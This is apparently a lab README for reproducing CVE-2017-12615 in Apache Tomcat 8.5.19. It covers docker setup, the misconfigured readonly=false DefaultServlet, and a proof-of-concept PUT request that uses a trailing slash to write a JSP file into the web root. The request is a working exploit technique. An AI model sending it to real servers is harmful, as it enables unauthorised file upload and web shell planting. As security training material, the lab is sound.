# Tomcat Arbitrary Write-file Vulnerability through PUT Method (CVE-2017-12615)

[中文版本(Chinese version)](README.zh-cn.md)

Tomcat version: 8.5.19

## Environment Setup

```
docker compose build
docker compose up -d
```

After successfully running the commands above, you will see the example page of Tomcat through visiting the site `http://your-ip:8080`.

## Rationale

Reference links:

- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
- https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5
- https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

Tomcat sets up the write permission（readonly=false）, which leads to the result that we can write files into the server.

```
<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>
```

Although Tomcat checks the file suffix to some extent(can't write jsp directly), we can still bypass the limitation through some file system features(such as using `/` in Linux).

## POC

Send the following packets directly and then the shell will be written into the Web root directory.

```
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell
```

As follows:

![](01.png)